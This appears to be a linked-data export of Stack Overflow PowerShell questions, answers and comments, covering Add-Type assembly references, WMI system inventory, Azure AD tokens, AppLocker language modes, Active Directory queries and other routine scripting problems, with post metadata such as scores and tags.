accepted answer of: http://stackoverflow.com/q/79195703
type: Answer
has comment: http://stackoverflow.com/comment/139703496
score: 2
has comment: http://stackoverflow.com/comment/139700713
has comment: http://stackoverflow.com/comment/139701008
has comment: http://stackoverflow.com/comment/139661851
answers question: http://stackoverflow.com/q/79195703
has comment: http://stackoverflow.com/comment/139701089
has comment: http://stackoverflow.com/comment/139661896
has body: The answer is implied by your own findings in the question, but let me spell it out: As of PowerShell (Core) 7 v7.4.x: Indeed, while Add-Type's -ReferencedAssemblies parameter does accept [System.Reflection.Assembly] instances (which stringify to their .FullName property in the context of binding to this [string[]]-typed parameter) (as an alternative to passing assembly file paths), such instances are only recognized if they represent an on-disk assembly, i.e. one whose .Location property reports a file-system path. Since Add-Type -TypeDefinition calls produce in-memory assemblies in the absence of an -OutputAssembly argument, such assemblies cannot be used as -ReferencedAssemblies arguments in later Add-Type calls. It seems that this constraint - which isn't currently documented - is imposed by PowerShell, not by the underlying .NET type implementing the C# compiler, which is called in-process from PowerShell.[1] Therefore, it is conceivable that a future version of PowerShell 7 will lift this constraint - which hinges on someone stepping up to file an issue to that effect in the GitHub repository Update: Commendably, you've since filed GitHub issue #24612 Thus, the solution for now is indeed to create on-disk assemblies for types that must be referenced in later Add-Type calls: Doing so is cumbersome: Add-Type invariably fails if the target file passed to -OutputAssembly already exists (there is no -Force switch). While using the -PassThru switch is generally required when using -OutputAssembly in order to also load a generated on-disk assembly into the current session, it is inexplicably also needed to ensure that a later Add-Type call that uses an in-memory assembly that builds on the on-disk assembly via -ReferencedAssemblies actually surfaces the generated in-memory-assembly types in the current session.[2] This smells like a bug: a type generated in an in-memory assembly should invariably be loaded into the current session, along with any on-disk assemblies i…
has comment: http://stackoverflow.com/comment/139702694
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139682992
has comment: http://stackoverflow.com/comment/139661922
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/79186087
answer count: 1
type: Question
tagged with: powershell
has title: powershell - get System Info from file containing list of computers
has comment: http://stackoverflow.com/comment/139675176
accepted answer: http://stackoverflow.com/a/79211175
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139639539
has answer: http://stackoverflow.com/a/79211175
has body: I am using the following code to pull system info from a list of computers in a txt file. The info seems to be pulling correctly for the most part, & the write-host command displays the correct returned values, but in my results file, I am getting duplicated computer names even though the list does not contain dupe entries & the progress shown in the terminal host shows all different info for the list of names. Anyone have any ideas why this might be writing to the csv file this way? Thanks! set-location "c:\myfolder" $ErrorActionPreference = 'SilentlyContinue' $exportFile = 'c:\myfolder\system-info.csv' $TstConnect = test-connection $Computer $t = 0 $i = 0 $tab_char = [char]9 #Clear screen & old file Clear-Host try { # Attempt to open the file exclusively for read access $file = [System.IO.File]::Open($exportfile, 'Open', 'Read', 'None') $file.Close() # Close the file if successful Write-Host "File $exportfile is not open. Deleting old results file... $exportfile" -BackgroundColor DarkCyan remove-item $exportFile } catch { Write-Host "File is open or in use by another process. Ending the task." -BackgroundColor DarkRed break } # Get Totals foreach ($Computer in Get-Content c:\myfolder\computers.txt) { $t++ } write-Host "$t total computers " -BackgroundColor DarkCyan foreach ($Computer in Get-Content c:\myfolder\computers.txt) { $i++ $p = "{0:N1}" -f ($i * 100 / $t) if ($TstConnect.IPV4Address.IPAddressToString[0]) { $computerSystem = get-wmiobject Win32_ComputerSystem -Computer $Computer write-Host $computerSystem.name "is online, checking $tab_char $i of $t $tab_char $p% complete " -BackgroundColor DarkCyan $computerBIOS = get-wmiobject Win32_BIOS -Computer $Computer $AssetTag = Get-WmiObject -Class Win32_SystemEnclosure -Computer $Computer | Select-Object SMBiosAssetTag $computerOS = get-wmiobject Win32_OperatingSystem -Computer $Computer $computerCPU = get-wmiobject Win32_Processor -Computer $Computer $computerNET = Get-WmiObject -Class Win32_NetworkAdapterConfi…
score: 0
tagged with: system-information
tagged with: export-to-csv

http://stackoverflow.com/q/79075233
type: Question
answer count: 0
tagged with: docker-compose
linked to: http://stackoverflow.com/q/30233105
has comment: http://stackoverflow.com/comment/139430261
has title: Launch a subset of docker compose services (containers). Use a script?
has comment: http://stackoverflow.com/comment/139430408
tagged with: powershell
type: UnansweredQuestion
score: 0
tagged with: python
has body: How to start only some containers from the list of services present in a docker-compose.yml file? MS Visual Studio supports it, see here. This question has already been asked: docker-compose up for only certain containers but I'm not satisfied with the answers: I want to start several services in one command. If it can't be done with one simple command I can use a Python script or a Powershell one (powershell v7 if possible) to do the job.
duplicate of: http://stackoverflow.com/q/30233105

http://stackoverflow.com/q/79162045
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139589167
has body: I'm automating the creation of Azure AD applications using PowerShell and running into an issue when trying to generate a delegated token. I've been able to create an application, add a client secret, and even generate a token using client credentials (app token) with no issues. The token works fine for app-level permissions. However, I'm not sure how to modify my script to add delegated permission and generate delegated token that can act on behalf of a user. Here’s the code I’ve been using for generating the client credentials token: Connect-AzAccount $appName = "MyTestingApp" $app = New-AzADApplication -DisplayName $appName $secret = New-AzADAppCredential -ApplicationId $app.AppId -EndDate (Get-Date).AddYears(1) Start-Sleep -Seconds 30 $graphApiId = '00000003-0000-0000-c000-000000000000' $mailSendId = 'b633e1c5-b582-4048-a93e-9f11b44c7e96' $graphSp = Get-AzADServicePrincipal -Filter "appId eq '$graphApiId'" Add-AzADAppPermission -ObjectId $app.Id -ApiId $graphApiId -PermissionId $mailSendId -Type Role $sp = New-AzADServicePrincipal -ApplicationId $app.AppId New-AzADServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id -ResourceId $graphSp.Id -AppRoleId $mailSendId Start-Sleep -Seconds 30 $tenantId = (Get-AzContext).Tenant.Id $clientId = $app.AppId $clientSecret = $secret.SecretText $tokenUrl = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" $body = @{ client_id = $clientId client_secret = $clientSecret scope = "https://graph.microsoft.com/.default" grant_type = "client_credentials" } $response = Invoke-RestMethod -Method Post -Uri $tokenUrl -ContentType "application/x-www-form-urlencoded" -Body $body $token = $response.access_token $token Everything works fine here for client credentials, but I’m stuck when it comes to delegated tokens. Any guidance on how I can adjust the script to generate a delegated token with Mail.Send permission using username would be really helpful.
tagged with: powershell
tagged with: azure-ad-msal
tagged with: azure
score: 0
has title: How to generate a delegated token with username and password in Azure AD using PowerShell?
tagged with: azure-app-registration
type: Question
accepted answer: http://stackoverflow.com/a/79162386
has answer: http://stackoverflow.com/a/79162386
tagged with: azure-identity

http://stackoverflow.com/comment/139501424
has text: For .ICO files you can read bytes 4 and 5 as Int16 to get the number of icons in the file: Read the header: `$bytes = Get-Content -Path $SourceFile -Encoding Byte -TotalCount 6` Next, convert bytes 4 and 5 to Int16: `[BitConverter]::ToInt16($bytes, 4)`
comment on: http://stackoverflow.com/a/79112558
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/79126458
score: 1
favorite count: 0
type: Question
has body: Question: How to implement the choice of an action option in one scenario? Is it possible to do this through a function and substitute only the necessary parameters when choosing an option? There are remote devices that need to be backed up if necessary. There is a way to do this manually, after logging in, waiting for the GUI to fully load - it may take 5-10 minutes. I wrote a CURL authorization request - it works. Then I did not bother with the command line, because there is a need to dodge, there is no necessary functionality. I rewrote it to PowerShell. Step 1. Request authorization $ip = Read-Host "Enter the ip address" $xmlauth = " " $access = Invoke-WebRequest -Uri ("http://"+$ip+":4000/xap2") ` -Method Post ` -ContentType "text/xml" ` -Body $xmlauth $sessionid = ([xml]$access.Content).response.session_id Write-Host $access #example of output after successful authorization <status status="0" status_text="OK"/> Write-Host $sessionid #this id is inserted in all subsequent requests 123456789 Step 2. Request to change the parameters $xml3in = @" <asi_input enable="false" _id="0"/> <asi_input enable="true" _id="2"/> <_all _id="8"> <plprep main_globid="2"/> </_all> "@ $request3in = Invoke-WebRequest -Uri ("http://"+$ip+":4000/xap2") ` -Method Post ` -ContentType "text/xml" ` -Body $xml3in $status = ([xml]$request3in.Content).response.status.status_text Write-Host $request3in #Example output after successful execution <status status="0" status_text="OK"/> Write-Host $status #An example of the output of the status text, you can also do it by number OK if ( $status -like 'ok' ) { Write-Host "THE DEVICE IS SWITCHED WHERE IT IS NEEDED ($status)" -foregroundcolor Green } else { Write-Host "SOMETHING WENT WRONG ($status)" -foregroundcolor Red } Step 3. Request to change the parameters (return to the initial state) The only difference is in the request body. $xml1in = @" <asi_input enable="true" _id="0"/> <asi_input enable="false" _id="2"/> <_all _id="8"> <plprep main_glob…
downvote count: 0
has comment: http://stackoverflow.com/comment/139536443
answer count: 1
has comment: http://stackoverflow.com/comment/139535896
has comment: http://stackoverflow.com/comment/139527343
has answer: http://stackoverflow.com/a/79172973
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79172973
has comment: http://stackoverflow.com/comment/139529411
tagged with: powershell
has title: PowerShell Invoke-WebRequest how to configure the selection of a request option in one scenario
upvote count: 1
has comment: http://stackoverflow.com/comment/139535201

http://stackoverflow.com/q/79198594
has comment: http://stackoverflow.com/comment/139665969
linked to: http://stackoverflow.com/q/76770527
possible better answer: http://stackoverflow.com/a/79199620
has comment: http://stackoverflow.com/comment/139659156
accepted answer: http://stackoverflow.com/a/79201583
has answer: http://stackoverflow.com/a/79199620
downvote count: 0
has comment: http://stackoverflow.com/comment/139661614
tagged with: powershell
has title: Why do I get this error when I try to set my powershell terminal title in my ps1 script?
has comment: http://stackoverflow.com/comment/139665895
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79201583
linked to: http://stackoverflow.com/q/61109118
has body: I have a .ps1 script that opens multiple powershell terminals and in each one it starts a nodejs application. In order to make it easier to tell which terminal corresponds to which node application, I want to set the title of the terminal. I do so with $host.ui.RawUI.WindowTitle = "my application". Here is a sample of the script: start powershell { $host.ui.RawUI.WindowTitle = "application 1" cd application1\backend npm install npm run build npm run start Read-Host } start powershell { $host.ui.RawUI.WindowTitle = "application 2" cd application2\backend npm install npm run build npm run start Read-Host } start powershell { $host.ui.RawUI.WindowTitle = "application 3" cd application3\backend npm install npm run build npm run start Read-Host } ... There are more than 3 such blocks in the script, but you get the point. The problem is I get this error in the terminal: application : The term 'application' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:3 char:31 $host.UI.RawUI.WindowTitle = application 1 ~~~~~~~~~~~ CategoryInfo : ObjectNotFound: (application:String) [], CommandNotFoundException FullyQualifiedErrorId : CommandNotFoundException I know $host.UI.RawUI.WindowTitle = "application 1" works from the terminal prompt. Why doesn't it work in a script?
has comment: http://stackoverflow.com/comment/139666244
has comment: http://stackoverflow.com/comment/139666540
score: 1
answer count: 2
upvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/139665634

http://stackoverflow.com/comment/139610163
has text: No, unfortunately :), I need to keep the first sentence "It is all for you"
comment on: http://stackoverflow.com/a/79173166
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139580430
has text: As it’s currently written, your answer is unclear. Please [edit] to add additional details that will help others understand how this addresses the question asked. You can find more information on how to write good answers [in the help center](/help/how-to-answer).
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79157018

http://stackoverflow.com/a/79070500
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/139422064
answers question: http://stackoverflow.com/q/79070426
has body: Use Get-ChildItem to discover the matching files, then use Sort-Object and Select-Object to only pick the most recent one: $logFilePath = '\\MyLogFiles\Files*.log' $SearchString = 'TOTAL DATA ENTRY' $outputFilePath = "C:\Reports\Results\Success $(get-date -f yyyy-MM-dd).txt" # pick only the most recently created log file $latestLogFile = Get-ChildItem $logFilePath |Sort-Object CreationTime |Select-Object -Last 1 $latestLogFile |Select-String -Pattern $searchString -SimpleMatch |... As sirtao points out, in PowerShell 7 you can use Sort-Object ... -Descending -Top 1 to only get the last item in the sort order, after which you can remove Select-Object completely from the pipeline: $latestLogFile = Get-ChildItem $logFilePath |Sort-Object CreationTime -Descending -Top 1
downvote count: 0

http://stackoverflow.com/a/79242407
has body: You can get the list of log names that Get-EventLog can target as follows: $logNames = (Get-EventLog -LogName *).Log Source names can be discovered via the registry, on a per-log basis: # Initialize an ordered hashtable that will contain log names as keys # and the corresponding source names as the values. $sourcesPerLog = [ordered] @{} # Loop over all log names and find the names of all sources registered # for that log. # Exclude the 'Security' log, because its sources cannot be queried without # elevation; however, given that this log is "for system use only", that shouldn't be a problem. Get-EventLog -LogName * | Where-Object Log -ne Security | ForEach-Object { $logName = $_.Log $sourcesPerLog[$logName] = (Get-ChildItem HKLM:\System\CurrentControlSet\Services\EventLog\$logName).PSChildName } # Output for diagnostic purposes. $sourcesPerLog Sample output: Name Value ---- ----- Application {.NET Runtime, .NET Runtime Optimization Service, Application, Application Error...} HardwareEvents Internet Explorer Key Management Service KmsRequests OAlerts Microsoft Office 16 Alerts System {ACPI, AFD, Application Management Group Policy, Application Popup...} Windows PowerShell PowerShell Note: To get the array of sources registered for the Application log, for instance, use $sourcesPerLog['Application'] or $sourcesPerLog.Application. Note that the Security log is deliberately skipped, as its sources cannot be queried unless you're running with elevation (as administrator). However, given that this log is "for system use only" and therefore shouldn't be written to by user code, this isn't much of a limitation. Caveat: Get-EventLog is based on deprecated Windows APIs, and that the recommendation is to use Get-WinEvent instead; from the Get-EventLog help topic: Get-EventLog uses a Win32 API that is deprecated. The results may not be accurate. Use the Get-WinEvent cmdlet instead. Notably, additional event logs may exist that Get-EventLog cannot query.
type: AcceptedAnswer
score: 2
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/79239902
accepted answer of: http://stackoverflow.com/q/79239902
downvote count: 0

http://stackoverflow.com/comment/139473557
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79098593
has text: Also We do not want a code block of C# to be included inside powershell. Because then this script containing C# code needs to be changed whenever C# DLL changes
type: QuestionComment

http://stackoverflow.com/comment/139464501
comment on: http://stackoverflow.com/a/79093375
type: Comment
has text: If you want your `cmd.exe` session that runs your virtual environment to stay open, use `/k` in lieu of `/c`
score: 0
type: AnswerComment

http://stackoverflow.com/q/79090100
type: Question
tagged with: powershell
answer count: 1
has title: How to extract the VID PID from USB devices in powershell?
score: 0
type: UnansweredQuestion
has body: I'm trying to list the VID:PID for connected and active USB devices using powershell, in hope to get something similar to lsusb in *nix based OS's. I can get a table with the devices I'm interested in, but I'm not able to extract the VID, PID and bInterfaceNumber (that I call IFn) independently and show the values. The output is given in the form: USB\VID_v(4)&PID_d(4)&MI_z(2) Where: z(2) is the interface number that is extracted from the "bInterfaceNumber" field of the corresponding interface descriptor, presumably in the range [00-99]. The code I tried: (Get-PnpDevice -PresentOnly | Where-Object { $_.Class -match 'USB' -AND $_.InstanceId -match '^USB'}) | Select-Object Status, @{n="VID"; e={($_.InstanceId -match '.*VID_(?<vid>[0-9A-F]{4})')}},Class,FriendlyName,InstanceId,Manufacturer | ft -AutoSize # Output Status VID Class FriendlyName InstanceId Manufacturer ------ --- ----- ------------ ---------- ------------ OK False USB USB Root Hub (USB 3.0) USB\ROOT_HUB30\4&1CDD8EC&0&0 (Standard USB HUBs) OK False USB USB Root Hub (USB 3.0) USB\ROOT_HUB30\4&7B32CF2&0&0 (Standard USB HUBs) OK True USBDevice RTL2838UHIDIR USB\VID_0BDA&PID_2838\00000001 Realtek Semiconductor Corp. OK True USB USB Composite Device USB\VID_30C9&PID_00AC\01.00.00 (Standard USB Host Controller) OK True USBDevice APP Mode USB\VID_30C9&PID_00AC&MI_02\6&195555CF&2&0002 WinUsb Device But I want the actual VID and not just if it was a match. In addition I need 2 more columns showing the PID and IFn. The RegEx for that, is something like this, but not sure as MI_nn may not be present: $_.InstanceId -match '.*VID_(?<vid>[0-9A-F]{4})&PID_(?<pid>[0-9A-F]{4})&MI_(?<ifn>[0-9]{2}).*' Q: How can I use this with a hash, and then use correctly within the expression?
has answer: http://stackoverflow.com/a/79090137
tagged with: windows

http://stackoverflow.com/comment/139661493
type: Comment
score: 3
has text: Don't include `()` after function name while including a `param (...)` section. You are defining both 0 parameters and one parameter at the same time.
type: QuestionComment
comment on: http://stackoverflow.com/q/79201535

http://stackoverflow.com/q/79148127
type: Question
downvote count: 0
answer count: 1
has title: Powershell has a problem escaping double quotes in tshark
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/24745868
has body: In cmd tshark -r a.pcapng -Y "http.request.uri == \"/test.php\" || http.response" There is an error when using Escape / in Powershell. I tried \ ` , but I couldn't get the command to work. tshark -r 0.pcapng -Y "http.request.uri == `"\/test.php`" || http.response" tshark: "`" was unexpected in this context. http.request.uri == `\/test.php` || http.response ^
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139563179
has answer: http://stackoverflow.com/a/79148599
accepted answer: http://stackoverflow.com/a/79148599
favorite count: 0
tagged with: tshark

powershell-3.0
tag name: powershell-3.0
tags question: http://stackoverflow.com/q/79091039
type: Tag
tags question: http://stackoverflow.com/q/79166949
tags question: http://stackoverflow.com/q/79409696

http://stackoverflow.com/comment/139589028
comment on: http://stackoverflow.com/q/79161585
type: QuestionComment
type: Comment
has text: Are you excepting the output like [this](https://i.imgur.com/UZKPAW8.png)
score: 0

http://stackoverflow.com/q/79166115
favorite count: 0
type: Question
score: 2
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/139676230
tagged with: powershell
has body: I have an AppLocker policy that allows only scripts signed with a certificate from my company. This is the only script policy, no default created. When I run a Windows PowerShell 5.1 or PowerShell 7 console (tried all this inside console and Terminal) on a Windows 11 machine, $ExecutionContext.SessionState.LanguageMode returns correctly ConstrainedLanguage (PowerShell 7 displays this information directly when launched) I have got this very simple non signed script : $ExecutionContext.SessionState.LanguageMode [System.Console]::WriteLine("Hello") When I type within the console the second line [System.Console]::WriteLine("Hello"), I got the expected error : Cannot invoke method. Method invocation is supported only on core types in this language mode. At line:1 char:1 + [System.Console]::WriteLine("Hello") + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [], RuntimeException + FullyQualifiedErrorId : MethodInvocationNotSupportedInConstrainedLanguage But, when I run the script, here is the output : FullLanguage Hello If I test the AppLocker rule with Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Tests\test.ps1 -User Install #("Install" is my test user) It returns correctly : FilePath PolicyDecision MatchingRule -------- -------------- ------------ C:\Tests\test.ps1 DeniedByDefault If I add a new AppLocker rule which denies to everyone for all paths, it returns correctly : FilePath PolicyDecision MatchingRule -------- -------------- ------------ C:\Tests\test.ps1 Denied * and when I run the script, I have got the same result, the script is running in FullLanguage Mode. Any idea why this script is running in FullLanguage mode despite it is not signed, and why with UMCI policy (see EDIT 2), signed script is running in ContrainedLanguage Mode despite the signer is part of both policies (UMCI and AppLocker) ? Thanks EDIT If I call the script within another one (or even itself), despite the first script still executes into FullLan…
tagged with: powershell-7
upvote count: 2
has title: PowerShell Constrained Language Mode doesn't work within scripts
type: UnansweredQuestion

http://stackoverflow.com/comment/139700713
has text: "_The answer is implied by your own findings in the question, but let me spell it out:_" BTW, please keep doing this. I only barely understood what was happening prior to your answer here.
comment on: http://stackoverflow.com/a/79201672
type: Comment
score: 1
type: AnswerComment

azure-identity
tags question: http://stackoverflow.com/q/79222783
tag name: azure-identity
type: Tag
tags question: http://stackoverflow.com/q/79162045

http://stackoverflow.com/a/79215114
downvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/79215078
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/140255172
has body: To remove the highlighting of folders in oh-my-posh, you need to customize your theme configuration. The folder highlighting is typically defined in the theme's JSON configuration file under the properties or segment settings.

http://stackoverflow.com/q/79223966
tagged with: powershell
type: UnansweredQuestion
score: 0
has answer: http://stackoverflow.com/a/79226221
tagged with: windows
type: Question
answer count: 1
has title: Windows: Use local PSDrives for non-powershell tools
has body: I set up a temporary PSDrive to the top of a git directory: New-PSDrive -PSProvider FileSystem -Scope Global -Name Top -Root <repo top> -Description "Top level of repo" This works great. I love being able to tab complete like cd Top:\..., but this doesn't seem to evaluate correctly for most commands. It seems like they don't realize that Top:\ is a drive and therefore attempt to resolve it relative to the current directory. Trying git clean had it append as a relative path: C:\repo\src\build > git clean -dfx Top:\ warning: could not open directory 'src/build/Top:/': Invalid argument notepad also failed: > notepad Top:\src\build\makefile That gives a window that says "The filename, directory name, or volume label syntax is incorrect." It seems like PowerShell commands work fine. Get-Content and Get-ChildItem resolve the path correctly. Get-ChildItem even shows the Directory as the actual path, not Top:\.... Is there a way to get a local PSDrive to evaluate correctly for these other tools?
has comment: http://stackoverflow.com/comment/139701971

http://stackoverflow.com/comment/139665351
type: AnswerComment
has text: Good point about dot-sourcing, but note that `Import-Module *.ps1` is effectively the same, which you can verify by adding `-Verbose`. In other words: `Import-Module .\my_functions.ps1`, as shown in the question, should have worked (though it's probably not a good idea to use this confusing form). I suggest mentioning the ramifications of turning a `.ps1` file into a `.psm1` (separate "session state" (scope domain), variables won't be visible, ...)
type: Comment
score: 1
comment on: http://stackoverflow.com/a/79202285

http://stackoverflow.com/comment/139503542
score: 0
has text: It should be $recoveryKeys. I copied wrong variable from you code. When you do not get any data it is usually due to the filters in the query and best to remove filters to debug.
comment on: http://stackoverflow.com/q/79100351
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79162738
tagged with: arrays
downvote count: 0
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79162761
accepted answer: http://stackoverflow.com/a/79162761
score: 1
has body: So, I have no seen anything remotely helpful on google or SO about this. I have an array of strings and I want to run -split on each string in the array and end up with an array containing arrays of strings. However when I do this: $Strings | % { $_ -split ($Sep) } PS flattens the result and I end up with an array of strings containing the concatenated result of every -split. E.g. For this $Strings = @("a b c", "d e f") $Sep = " " $Strings | % { $_ -split ($Sep) } I get @("a", "b", "c", "d", "e", "f") but I want @( @("a", "b", "c"), @("d", "e", "f") ). What exactly am I not doing right?
upvote count: 1
favorite count: 0
has title: Powershell split every string in an array
tagged with: string
type: Question
has comment: http://stackoverflow.com/comment/139590361

http://stackoverflow.com/q/79201033
has title: How can I remove a prefixing or suffixing date,or datetime, from a string in powershell
type: Question
tagged with: substitution
linked to: http://stackoverflow.com/q/71399918
answer count: 0
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139660460
has body: As part of a bigger powershell task, I need to remove a date (or datetime) prefix or suffix from a string (Actually a filename) The filename is returned from a file watcher, where the filter is *.txt. The file will either have a preceding YYYYMMDD or a suffixing YYYYMMDDHHNN which needs to be removed. As an example the filename returned could be "D:\TESTLDB\DirIn\CRIS_Invoice_202411140311.txt" I require the CRIS_Invoice_ part. Alternatively It could be D:\TESTBCH\d\l\var\ra\ifc,20241114.Rentbals.txt $File = "D:\TESTLB\DirIn\CRIS_Invoice_202411140311.txt" $Path = Split-Path -Path $File -Parent $FileName = Split-Path -Path $File -Leaf $FileName = ( $FileName.Replace( '_\d{12}.' , '_*.' ) ) Expecting Filename to Be CRIS_Invoice_*.txt Well that was odd ... `$FileName = $FileName.Replace( '_\d{12}.' , '_*.' ).Replace('\d{8}.' , '*.')` Does not work, but $FileName = $FileName -Replace ( '_\d{12}.' , '_*.') -Replace('\d{8}.' , '*.') Works as expected in that CRIS_Invoice_202411140311.txt is returned as CRIS_Invoice*.txt and 20241114.RentBals.txt" becomes *.RentBals.txt. OSBalances.txt isn't touched. So I sort of have an answer, but would love to know why the .Replace() method does not work and the -Replace operator does. I'm sure there is a more elegant way to do it if anyone wants to obfuscate the code :D
duplicate of: http://stackoverflow.com/q/40032060
type: UnansweredQuestion
score: 1
duplicate of: http://stackoverflow.com/q/71399918
upvote count: 1
favorite count: 0
tagged with: string

http://stackoverflow.com/q/79137119
type: Question
possible better answer: http://stackoverflow.com/a/79141613
accepted answer: http://stackoverflow.com/a/79137320
has answer: http://stackoverflow.com/a/79137320
has body: Need some help in writing a powershell script to enumerate all open file shares along with their shared permissions in an organization . So far I have tried the below but facing issue with the shared permissions $ComputersNames = Get-ADComputer -Filter * | select Name $FileShares = New-Object "System.Collections.Generic.List[string]" foreach ($ComputerName in '$ComputersNames') { try { $connected = (Test-Connection -BufferSize 32 -Count 1 -ComputerName $ComputerName -Quiet -ErrorAction Ignore) if ($connected) { $Shares = net view \\$ComputerName /all 2>&1 | select-object -Skip 7 | ?{$_ -match 'disk*'} | %{$_ -match '^(.+?)\s+Disk*'|out-null;$matches[1]} foreach ($Share in $Shares) { $line = "\\$ComputerName\$Share" $FileShares.Add($line) I know for listing shared permissions for the open sahres i have to use something similar as but not getting how to use it in the script to enumerate all open shares for all the computers Invoke-Command -ComputerName **** -ScriptBlock {Get-SmbShare } | Select -ExpandProperty PresetPathAcl
tagged with: powershell
type: AnsweredQuestion
tagged with: acl
score: 0
has title: Powershell script to enumerate open file shares along with their shared permissions
answer count: 2
has comment: http://stackoverflow.com/comment/139544040
tagged with: windows
has answer: http://stackoverflow.com/a/79141613

http://stackoverflow.com/q/79119400
has comment: http://stackoverflow.com/comment/139514402
tagged with: powershell
has answer: http://stackoverflow.com/a/79120041
has comment: http://stackoverflow.com/comment/139511073
has comment: http://stackoverflow.com/comment/139517332
score: 0
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/75722846
has comment: http://stackoverflow.com/comment/139510992
answer count: 2
tagged with: windows
tagged with: forms
has title: Why is my search function really slow on folders with a lot of files?
has comment: http://stackoverflow.com/comment/139513901
type: Question
has body: I am trying to search files using this logic inside a Region (Which is a folder) and display them. The problem is on when there's a lot of files (for example like 200k) it takes like 10 minutes to search, in folders with not a lot of files its really quick. What could be the best way to speed up the search? I tried using runspaces too but no success, the time to search didn't change at all. I am using Powershell version 5.1.22621.4249 function Convert-FileName { param ( [string]$fileName ) $fileName = $fileName.TrimStart('.') if ($fileName -match "^(\d+)\.([A-Z]+)\.01\.(\d+)\.(\d{8})$") { return @{ "PayerID" = $matches[1] "Region" = $matches[2] "CheckNum" = $matches[3] "CheckDate" = [datetime]::ParseExact($matches[4], "yyyyMMdd", $null) } } else { return $null } } $buttonSearch.Add_Click({ $region = $comboBoxRegion.Text $payIDRange = $textBoxPayID.Text $checkNumRange = $textBoxCheckNum.Text $checkDateRange = $textBoxCheckDate.Text if ([string]::IsNullOrWhiteSpace($global:selectedFolder)) { [System.Windows.Forms.MessageBox]::Show("Please choose a folder before searching.") return } if ([string]::IsNullOrWhiteSpace($region)) { $dataGridView.Rows.Clear() [System.Windows.Forms.MessageBox]::Show("Please select a region.") return } if ([string]::IsNullOrWhiteSpace($payIDRange) -or $payIDRange -notmatch "^\d+-\d+$") { $dataGridView.Rows.Clear() [System.Windows.Forms.MessageBox]::Show("Invalid Pay ID range.") return } $global:totalResults = New-Object System.Collections.Generic.List[object] $payIDStart, $payIDEnd = $payIDRange -split "-", 2 $payIDStart = [int]$payIDStart $payIDEnd = [int]$payIDEnd $allFiles = Get-ChildItem -Path "$global:selectedFolder\$region" -File foreach ($file in $allFiles) { $fileInfo = Convert-FileName -fileName $file.Name if ($fileInfo -ne $null) { $extractedPayerID = [int]$fileInfo.PayerID $payIDValid = $extractedPayerID -ge $payIDStart -and $extractedPayerID -le $payIDEnd $checkNumValid = $true if ($checkNumRange -ne "") { $checkNumStart, $checkNu…
has answer: http://stackoverflow.com/a/79121799

http://stackoverflow.com/q/79201860
accepted answer: http://stackoverflow.com/a/79201871
has title: How to Compare Sets of Users
has answer: http://stackoverflow.com/a/79201871
favorite count: 0
type: Question
answer count: 1
tagged with: active-directory
upvote count: 2
downvote count: 0
type: AnsweredQuestion
has body: I am trying to query a domain for all users from an OU, in a specific group, and not in another specific group. First, I query Active Directory for all three sets of users: the OU, group to include, and group to exclude. The group to exclude happens to be a distribution group, so I had to query for it a different way. $OU = Get-ADUser -Filter * -SearchBase "OU=Developers,OU=Everyone,DC=Organization,DC=com" -Properties MemberOf $include = Get-ADGroupMember -Identity "this group" $exclude = Get-ADObject -Filter 'Name -eq "that group"' -Properties member | Select-Object -ExpandProperty member | ForEach-Object { Get-ADUser -Identity $_ } I tested the command for each variable, and they all work on their own. It must be the logic comparing them that is bad, or the output is too different to compare. I tried comparing them with a foreach loop. foreach ($user in $OU) { if (($include -contains $user.DistinguishedName) -and (-not $exclude -contains $user.DistinguishedName)) { Write-Host $user.SAMAccountName } } ..and by piping them through Where-Object. $filteredUsers = $OU | Where-Object { ($include -contains $_.DistinguishedName) -and -not ($exclude -contains $_.DistinguishedName) } But neither of these statements return output. What am I doing wrong? Is my logic flawed, or am I comparing the wrong values?
score: 2
tagged with: powershell

http://stackoverflow.com/comment/139639392
score: 0
has text: By component that started `svchost.exe` do you mean the parent process of it?
type: QuestionComment
comment on: http://stackoverflow.com/q/79189293
type: Comment

http://stackoverflow.com/comment/139717712
comment on: http://stackoverflow.com/a/79230278
score: 0
type: AnswerComment
has text: U mean you are getting single subscription info?
type: Comment

http://stackoverflow.com/q/79120662
tagged with: git-log
type: Question
has title: "git log" fails in GitLab Pipeline when using variable
tagged with: gitlab-ci
answer count: 0
tagged with: powershell
linked to: http://stackoverflow.com/q/53965695
tagged with: gitlab
score: 0
has comment: http://stackoverflow.com/comment/139513873
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139521963
